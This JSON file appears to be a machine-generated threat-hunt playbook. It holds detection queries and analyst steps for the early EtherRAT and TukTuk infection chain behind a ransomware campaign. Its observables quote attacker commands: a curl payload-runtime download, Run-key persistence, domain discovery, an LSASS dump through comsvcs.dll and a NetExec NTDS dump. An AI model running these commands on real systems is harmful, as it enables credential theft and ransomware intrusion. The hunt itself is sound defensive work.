{ "hunt": { "meta": { "tlp": "clear", "hunt": { "handoff": "promote-to-detection", "trigger": "intel-report", "methodology": "model-assisted", "applicability": "campaign-specific", "justification": "This hunt identifies the early infection chain of a ransomware actor. By stopping EtherRAT and TukTuk before they escalate to credential theft and lateral movement, the business avoids the high cost of a domain-wide ransomware event." }, "name": "EtherRAT and TukTuk Initial Infection and Discovery", "type": "investigation", "labels": [ "hunt", "attack.t1204.002", "attack.t1059.003", "attack.t1105", "attack.t1547.001", "attack.t1082", "attack.t1574.002" ], "series": { "slug": "flash-alert-etherrat-and-tuktuk-c2-end-in-the-gentleman-ransomware", "index": 1, "title": "Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware", "total": 3 }, "related": [ { "hunt": "blockchain-and-saas-c2", "reason": "This hunt identifies local execution; follow-on C2 traffic via Ethereum and SaaS platforms is handled in a subsequent hunt.", "relation": "follows" } ], "targets": { "hunter": { "name": "Hunt agent", "agent": true }, "analyst": { "name": "Tier-2 analyst", "role": "analyst" }, "endpoint": { "name": "Endpoint telemetry (hb_ surfaces)", "category": "endpoint", "telemetry": [ "endpoint" ] } }, "analysis": "A single detection rule would only catch a specific indicator like the AppResolver registry key. This hunt correlates MSI execution with rare module loads and automated discovery scripts across multiple surfaces, providing the context required to confirm a sophisticated intrusion.", "coverage": [ { "stage": "initial-access-trojanized-msi", "steps": [ "scoping-msi-execution" ], "status": "covered" }, { "stage": "etherrat-execution-node-js", "steps": [ "node-runtime-drops" ], "status": "covered" }, { "stage": "persistence-registry-run-key", "steps": [ "registry-persistence-rare" ], "status": "covered" }, { "stage": "internal-reconnaissance-and-discovery", "steps": [ "discovery-activity" ], "status": "covered" }, { "stage": "secondary-payload-sideloading", "steps": [ "sideload-detection" ], "status": "covered" }, { "stage": "blockchain-and-saas-c2", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" }, { "stage": "credential-access-lsass-dumping", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" }, { "stage": "lateral-movement-rmm-and-netexec", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" }, { "stage": "data-exfiltration-rclone", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" }, { "stage": "impact-gpo-ransomware", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" } ], "scenario": { "stages": [ { "name": "Trojanized MSI installer", "slug": "initial-access-trojanized-msi", "tactic": "initial-access", "techniques": [ "T1204.002" ], "observables": [ "msiexec.exe /V", "MVnVmUYj.cmd", "RAMMap utility masquerade" ] }, { "name": "EtherRAT execution via Node.js", "slug": "etherrat-execution-node-js", "tactic": "execution", "techniques": [ "T1059.003", "T1105" ], "observables": [ "curl -sLo \"C:\\Users\\REDACTED\\AppData\\Local\\Temp\\9gY0LJMyXW.zip\" \"https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip\"", "node-v18.20.5-win-x64.zip", "node.exe", "A7Pnj975bl.cfg" ] }, { "name": "Persistence via Registry Run key", "slug": "persistence-registry-run-key", "tactic": "persistence", "techniques": [ "T1547.001" ], "observables": [ "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v AppResolver /d \"conhost --headless \"C:\\Users\\REDACTED\\AppData\\Local\\P2RsupmqXnmx\\gksVMg\\node.exe\" \"C:\\Users\\REDACTED\\AppData\\Local\\P2RsupmqXnmx\\A7Pnj975bl.cfg\"\" /f", "AppResolver" ] }, { "name": "Internal reconnaissance and discovery", "slug": "internal-reconnaissance-and-discovery", "tactic": "discovery", "techniques": [ "T1082", "T1518.001", "T1087.002", "T1018" ], "observables": [ "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"[System.Globalization.CultureInfo]::InstalledUICulture.Name\"", "powershell -Command \"try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }\"", "net group \"Domain Admins\" /domain", "nltest /domain_trusts /all_trusts", "netscan.exe" ] }, { "name": "TukTuk deployment via DLL sideloading", "slug": "secondary-payload-sideloading", "tactic": "defense-evasion", "techniques": [ "T1574.002" ], "observables": [ "Greenshot.exe", "SyncTrayzor.exe", "docfx.exe", "Cake.exe" ] }, { "name": "Blockchain and SaaS C2", "slug": "blockchain-and-saas-c2", "tactic": "command-and-control", "techniques": [ "T1102.001", "T1572" ], "observables": [ "1rpc.io", "goldsky.arweave.net", "trycloudflare.com", "supabase.co", "1rpc.io", "goldsky.arweave.net" ] }, { "name": "Credential Access via LSASS dumping", "slug": "credential-access-lsass-dumping", "tactic": "credential-access", "techniques": [ "T1003.001", "T1558.003" ], "observables": [ "rundll32.exe C:\\windows\\System32\\comsvcs.dll, #+0000^24", "Kerberoasting", "NTDS dumping" ] }, { "name": "Lateral movement via RMM and NetExec", "slug": "lateral-movement-rmm-and-netexec", "tactic": "lateral-movement", "techniques": [ "T1219", "T1021.001", "T1021.002" ], "observables": [ "GoToResolveProcessChecker.exe", "nxc smb REDACTED_IP -u REDACTED_USER -p REDACTED_PASSWORD --ntds", "nxc", "winrm" ] }, { "name": "Data exfiltration via Rclone", "slug": "data-exfiltration-rclone", "tactic": "exfiltration", "techniques": [ "T1567.002" ], "observables": [ "rclone", "Wasabi cloud storage" ] }, { "name": "Ransomware deployment via GPO", "slug": "impact-gpo-ransomware", "tactic": "impact", "techniques": [ "T1486", "T1489", "T1053.005", "T1484.001" ], "observables": [ "The Gentlemen ransomware", "Microsoft Defender disabled", "GPO execution via SYSVOL/NETLOGON", "vssadmin.exe delete shadows" ] } ], "summary": "A threat actor used a trojanized MSI installer to deploy EtherRAT, leveraging Ethereum blockchain and TryCloudflare for resilient C2 before deploying the TukTuk framework via DLL sideloading. The intrusion progressed through extensive AD discovery and lateral movement using NetExec and GoTo Resolve, concluding with data exfiltration via Rclone and domain-wide deployment of The Gentleman ransomware via GPO and scheduled tasks." }, "severity": "high", "rationale": "Focus on endpoints where MSI installers are common, such as administrator workstations or servers where RAMMap is legitimately used. If Node.js is discovered in a user profile on any host, widen the search to the entire fleet by clearing the scope_hosts parameter.", "guardrails": { "claims": "no_unsupported", "evidence": "citation_required", "telemetry": "untrusted", "missing_data": "not_benign" }, "hypothesis": "An intruder has gained initial access via a trojanized MSI installer, established persistence using a Node.js-based EtherRAT, and is currently performing system discovery or sideloading TukTuk payloads.", "parameters": { "msi_scripts": { "from": { "ref": "dfir-report-etherrat", "kind": "article", "observed": "2026-05-11" }, "type": "list[path]", "default": [ "mvnvmuyj.cmd" ], "description": "Script filenames spawned from msiexec observed in the campaign." }, "scope_hosts": { "type": "list[host]", "default": [], "description": "Optional list of hosts to narrow the hunt, typically populated from the results of the initial scoping step." }, "node_configs": { "from": { "ref": "dfir-report-etherrat", "kind": "article", "observed": "2026-05-11" }, "type": "list[path]", "default": [ "a7pnj975bl.cfg" ], "description": "Configuration filenames for the EtherRAT payload." }, "lookback_days": { "type": "number", "default": "14", "description": "Days of history to examine." }, "node_binaries": { "from": { "ref": "dfir-report-etherrat", "kind": "article", "observed": "2026-05-11" }, "type": "list[path]", "default": [ "node.exe", "node-v18.20.5-win-x64.zip" ], "description": "Filenames associated with the malicious Node.js runtime deployment." }, "discovery_scripts": { "from": { "ref": "dfir-report-etherrat", "kind": "article", "observed": "2026-05-11" }, "type": "list[path]", "default": [ "discovery.ps1", "recon.ps1" ], "description": "Names of scripts used for automated reconnaissance." }, "sideload_binaries": { "from": { "ref": "dfir-report-etherrat", "kind": "article", "observed": "2026-05-11" }, "type": "list[path]", "default": [ "greenshot.exe", "synctrayzor.exe", "docfx.exe", "cake.exe" ], "description": "Legitimate binaries commonly abused for DLL sideloading in this campaign." } }, "provenance": { "authors": [ { "org": "huntbase.io", "name": "Huntbase hunt generation" } ], "generated": { "by": "huntbase-hunt-generation", "from": "https://thedfirreport.com/2026/05/11/flash-alert-etherrat-and-tuktuk-c2-end-in-the-gentleman-ransomware/", "gates": [ "dry-run", "lint" ], "model": "hb_google/gemini-3-flash-preview" } }, "references": [ { "url": "https://thedfirreport.com/2026/05/11/flash-alert-etherrat-and-tuktuk-c2-end-in-the-gentleman-ransomware/", "name": "The DFIR Report \u2014 Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware" } ], "blind_spots": [ { "id": "module-load-visibility", "risk": "A host without an agent contributes no module load telemetry, allowing sideloading to go unobserved.", "stage": "secondary-payload-sideloading", "question": "whether the sideloaded DLL is present on hosts without endpoint agent coverage", "requires": "hb_module_activity coverage on all hosts" }, { "id": "script-block-fragmentation", "risk": "Adversaries may split strings across script blocks, preventing simple keyword matches in a single script row.", "stage": "internal-reconnaissance-and-discovery", "question": "whether discovery commands were split across multiple blocks", "requires": "hb_script_activity with block reassembly" } ] }, "name": "EtherRAT and TukTuk Initial Infection and Discovery", "description": "This hunt identifies the earliest stages of an EtherRAT intrusion, starting from the execution of a malicious MSI masquerading as RAMMap. It follows the chain from the deployment of a portable Node.js runtime and registry-based persistence to follow-on reconnaissance using PowerShell and DLL sideloading in legitimate binaries like Greenshot. By correlating these distinct behavioral markers across process, file, registry, and module surfaces, the hunt identifies the breach before the actor moves to credential theft or domain-wide encryption." }, "nodes": [ { "id": "hypothesis", "type": "hypothesis", "label": "Hypothesis", "config": { "tags": [], "series": { "slug": "flash-alert-etherrat-and-tuktuk-c2-end-in-the-gentleman-ransomware", "index": 1, "title": "Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware", "total": 3 }, "coverage": [ { "stage": "initial-access-trojanized-msi", "steps": [ "scoping-msi-execution" ], "status": "covered" }, { "stage": "etherrat-execution-node-js", "steps": [ "node-runtime-drops" ], "status": "covered" }, { "stage": "persistence-registry-run-key", "steps": [ "registry-persistence-rare" ], "status": "covered" }, { "stage": "internal-reconnaissance-and-discovery", "steps": [ "discovery-activity" ], "status": "covered" }, { "stage": "secondary-payload-sideloading", "steps": [ "sideload-detection" ], "status": "covered" }, { "stage": "blockchain-and-saas-c2", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" }, { "stage": "credential-access-lsass-dumping", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" }, { "stage": "lateral-movement-rmm-and-netexec", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" }, { "stage": "data-exfiltration-rclone", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" }, { "stage": "impact-gpo-ransomware", "reason": "Belongs to another part of the 'Flash Alert: EtherRat and TukTuk C2 End in The Gentleman Ransomware' series.", "status": "out_of_scope" } ], "rationale": "An intruder has gained initial access via a trojanized MSI installer, established persistence using a Node.js-based EtherRAT, and is currently performing system discovery or sideloading TukTuk payloads.", "blind_spots": [ { "id": "module-load-visibility", "risk": "A host without an agent contributes no module load telemetry, allowing sideloading to go unobserved.", "stage": "secondary-payload-sideloading", "question": "whether the sideloaded DLL is present on hosts without endpoint agent coverage", "requires": "hb_module_activity coverage on all hosts" }, { "id": "script-block-fragmentation", "risk": "Adversaries may split strings across script blocks, preventing simple keyword matches in a single script row.", "stage": "internal-reconnaissance-and-discovery", "question": "whether discovery commands were split across multiple blocks", "requires": "hb_script_activity with block reassembly" } ], "scoping_notes": "Focus on endpoints where MSI installers are common, such as administrator workstations or servers where RAMMap is legitimately used. If Node.js is discovered in a user profile on any host, widen the search to the entire fleet by clearing the scope_hosts parameter.", "beyond_detection": "A single detection rule would only catch a specific indicator like the AppResolver registry key. This hunt correlates MSI execution with rare module loads and automated discovery scripts across multiple surfaces, providing the context required to confirm a sophisticated intrusion." } }, { "id": "scoping-msi-execution", "type": "query", "label": "MSI execution spawning shell scripts", "config": { "dsl": "sqlite", "role": "scoping", "source": "endpoint", "content": "SELECT device_hostname, process_name, process_cmd_line, parent_process_name, time FROM hb_process_activity WHERE LOWER(parent_process_name) LIKE '%msiexec.exe' AND (instr(',' || '{{msi_scripts}}' || ',', ',' || LOWER(process_name) || ',') > 0 OR instr(LOWER(process_cmd_line), 'mvnvmuyj') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_process_activity", "description": "Identify potential initial access by finding msiexec.exe spawning cmd.exe or specific malicious script files named in the report.", "expected_signal": "A hit shows msiexec launching a shell script from a temporary directory; silence suggests the specific MSI delivery vector was not used." }, "parents": [ { "id": "hypothesis" } ], "primitive_config": { "dsl": "sqlite", "role": "scoping", "label": "MSI execution spawning shell scripts", "reads": [ "device_hostname", "process_name", "process_cmd_line", "parent_process_name", "time" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT device_hostname, process_name, process_cmd_line, parent_process_name, time FROM hb_process_activity WHERE LOWER(parent_process_name) LIKE '%msiexec.exe' AND (instr(',' || '{{msi_scripts}}' || ',', ',' || LOWER(process_name) || ',') > 0 OR instr(LOWER(process_cmd_line), 'mvnvmuyj') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "A hit shows msiexec launching a shell script from a temporary directory; silence suggests the specific MSI delivery vector was not used.", "verified": "dry-run", "verified_at": "2026-09-24" } }, { "id": "node-runtime-drops", "type": "query", "label": "Node.js runtime file creation", "config": { "dsl": "sqlite", "role": "enrichment", "source": "endpoint", "content": "SELECT device_hostname, file_path, file_name, time FROM hb_file_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (instr(',' || '{{node_binaries}}' || ',', ',' || LOWER(file_name) || ',') > 0 OR instr(',' || '{{node_configs}}' || ',', ',' || LOWER(file_name) || ',') > 0) AND (LOWER(file_path) LIKE '%\\appdata\\%' OR LOWER(file_path) LIKE '%\\temp\\%') AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_file_activity", "description": "Detect the creation of the portable Node.js runtime and associated configuration files, pivoting on hosts from the initial MSI execution.", "expected_signal": "Creation of node.exe or .cfg files in user profiles. These files often appear in AppData subfolders with randomized names." }, "parents": [ { "id": "scoping-msi-execution" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "Node.js runtime file creation", "reads": [ "device_hostname", "file_path", "file_name", "time" ], "source": "hb_file_activity", "target": "endpoint", "content": "SELECT device_hostname, file_path, file_name, time FROM hb_file_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (instr(',' || '{{node_binaries}}' || ',', ',' || LOWER(file_name) || ',') > 0 OR instr(',' || '{{node_configs}}' || ',', ',' || LOWER(file_name) || ',') > 0) AND (LOWER(file_path) LIKE '%\\appdata\\%' OR LOWER(file_path) LIKE '%\\temp\\%') AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "Creation of node.exe or .cfg files in user profiles. These files often appear in AppData subfolders with randomized names.", "verified": "dry-run", "verified_at": "2026-09-24" } }, { "id": "registry-persistence-rare", "type": "query", "label": "Rare Node.js Run-key persistence", "config": { "dsl": "sqlite", "role": "baseline", "source": "endpoint", "content": "SELECT reg_value_data, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_registry_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND LOWER(reg_target) LIKE '%\\currentversion\\run%' AND instr(LOWER(reg_value_data), 'node.exe') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY reg_value_data HAVING hosts <= 5 ORDER BY hosts ASC", "surface": "hb_registry_activity", "description": "Identify the EtherRAT persistence mechanism which points a Run key at a profile-path Node.js binary, using prevalence to filter out normal fleet activity.", "expected_signal": "A rare Run key executing node.exe from an AppData path, seen on very few hosts across the estate." }, "parents": [ { "id": "scoping-msi-execution" } ], "primitive_config": { "dsl": "sqlite", "role": "baseline", "label": "Rare Node.js Run-key persistence", "reads": [ "device_hostname", "reg_target", "reg_value_data", "time" ], "source": "hb_registry_activity", "target": "endpoint", "content": "SELECT reg_value_data, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_registry_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND LOWER(reg_target) LIKE '%\\currentversion\\run%' AND instr(LOWER(reg_value_data), 'node.exe') > 0 AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY reg_value_data HAVING hosts <= 5 ORDER BY hosts ASC", "silence": "not_evidence_of_absence", "baseline": { "window": "{{lookback_days}}d", "compare": "first_seen" }, "expected": "A rare Run key executing node.exe from an AppData path, seen on very few hosts across the estate.", "verified": "dry-run", "prevalence": { "by": "device_hostname", "key": [ "reg_value_data" ], "rare_below": 5 }, "verified_at": "2026-09-24" } }, { "id": "agent-early-triage", "type": "analytic", "label": "Weigh early infection evidence", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "scoping-msi-execution", "node-runtime-drops", "registry-persistence-rare" ], "objective": "Determine if the host shows a complete chain of MSI execution, Node.js deployment, and registry persistence.", "description": "Combine the MSI scoping results with file drops and registry persistence to confirm the host is infected with EtherRAT.", "max_iterations": 3, "expected_signal": "A per-host verdict confirming the infection chain.", "success_criteria": "A verdict of malicious | suspicious | benign citing specific process paths and registry data." }, "parents": [ { "id": "node-runtime-drops", "kind": "merge" }, { "id": "registry-persistence-rare", "kind": "merge" } ] }, { "id": "discovery-activity", "type": "query", "label": "Automated discovery and script execution", "config": { "dsl": "sqlite", "role": "triage", "source": "endpoint", "content": "SELECT device_hostname, script_name, script_content, time FROM hb_script_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (instr(',' || '{{discovery_scripts}}' || ',', ',' || LOWER(script_name) || ',') > 0 OR instr(LOWER(script_content), 'antivirusproduct') > 0 OR instr(LOWER(script_content), 'installeduiculture') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_script_activity", "description": "Identify PowerShell-based discovery of AV products, domain membership, and system settings using both named scripts and behavioral keywords.", "expected_signal": "Script blocks performing enumeration of security products or AD domain configuration, often running shortly after persistence is established." }, "parents": [ { "id": "agent-early-triage" } ], "primitive_config": { "dsl": "sqlite", "role": "triage", "label": "Automated discovery and script execution", "reads": [ "device_hostname", "script_name", "script_content", "time" ], "source": "hb_script_activity", "target": "endpoint", "content": "SELECT device_hostname, script_name, script_content, time FROM hb_script_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND (instr(',' || '{{discovery_scripts}}' || ',', ',' || LOWER(script_name) || ',') > 0 OR instr(LOWER(script_content), 'antivirusproduct') > 0 OR instr(LOWER(script_content), 'installeduiculture') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "Script blocks performing enumeration of security products or AD domain configuration, often running shortly after persistence is established.", "verified": "dry-run", "verified_at": "2026-09-24" } }, { "id": "sideload-detection", "type": "query", "label": "Legitimate binaries loading rare modules", "config": { "dsl": "sqlite", "role": "detection-candidate", "source": "endpoint", "content": "SELECT device_hostname, process_name, module_name, module_path, time FROM hb_module_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND instr(',' || '{{sideload_binaries}}' || ',', ',' || LOWER(process_name) || ',') > 0 AND (LOWER(module_path) LIKE '%\\appdata\\%' OR LOWER(module_path) LIKE '%\\temp\\%') AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_module_activity", "description": "Detect potential DLL sideloading for TukTuk deployment by identifying legitimate binaries loading modules from user-writable paths.", "expected_signal": "A legitimate process like Greenshot.exe loading a DLL from a user path that is unique across the fleet." }, "parents": [ { "id": "agent-early-triage" } ], "primitive_config": { "dsl": "sqlite", "role": "detection-candidate", "label": "Legitimate binaries loading rare modules", "reads": [ "device_hostname", "process_name", "module_name", "module_path", "time" ], "source": "hb_module_activity", "target": "endpoint", "content": "SELECT device_hostname, process_name, module_name, module_path, time FROM hb_module_activity WHERE ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND instr(',' || '{{sideload_binaries}}' || ',', ',' || LOWER(process_name) || ',') > 0 AND (LOWER(module_path) LIKE '%\\appdata\\%' OR LOWER(module_path) LIKE '%\\temp\\%') AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "A legitimate process like Greenshot.exe loading a DLL from a user path that is unique across the fleet.", "verified": "dry-run", "verified_at": "2026-09-24" } }, { "id": "agent-intrusion-analysis", "type": "analytic", "label": "Complete intrusion chain analysis", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "agent-early-triage", "discovery-activity", "sideload-detection" ], "objective": "Determine if the host is compromised based on the full chain of observed EtherRAT and TukTuk indicators, including persistence and discovery behavior.", "description": "Correlate the early infection results with the follow-on discovery and sideloading markers to provide a definitive verdict.", "max_iterations": 5, "expected_signal": "A comprehensive verdict linking initial access to subsequent adversary tradecraft.", "success_criteria": "A final verdict citing the transition from persistence to reconnaissance or sideloading per host." }, "parents": [ { "id": "discovery-activity", "kind": "merge" }, { "id": "sideload-detection", "kind": "merge" } ] }, { "id": "decision-route", "type": "checkpoint", "label": "Route based on intrusion verdict", "config": { "fuzzy": true, "judge": "hunter", "question": "the intrusion analysis verdict is malicious for at least one host", "condition": "the intrusion analysis verdict is malicious for at least one host", "blind_spot": "module-load-visibility", "confidence": "high", "description": "Route the host to containment or analyst review based on the final agent verdict.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "agent-intrusion-analysis" } ] }, { "id": "containment-action", "type": "action", "label": "Isolate compromised host", "config": { "target": "endpoint", "description": "Stop the intruder from progressing to lateral movement or data exfiltration.", "instructions": "Isolate the host from the network and collect memory for TukTuk and EtherRAT forensics.", "action_approval": "required" }, "parents": [ { "id": "decision-route", "branch": "on_supports" } ] }, { "id": "analyst-remediation", "type": "task", "label": "Analyst remediation and collection", "config": { "assignee": "analyst", "description": "Perform manual review of the clusters and collect malicious binaries for further analysis.", "instructions": "Review the binaries identified in the sideloading step. Search for the portable Node.js runtime and its configuration blobs in AppData subdirectories. Confirm if any GPO-based ransomware deployment was initiated." }, "parents": [ { "id": "decision-route", "branch": "default" }, { "id": "decision-route", "branch": "on_unavailable" }, { "id": "containment-action" } ] }, { "id": "close-out-task", "type": "task", "label": "Hunt close-out", "config": { "assignee": "analyst", "description": "Finalize the hunt and record tuning notes.", "instructions": "Document findings, update indicators for rotated filenames, and promote the registry Run key query to a standing detection rule." }, "parents": [ { "id": "decision-route", "branch": "on_refutes" }, { "id": "analyst-remediation" } ] } ] }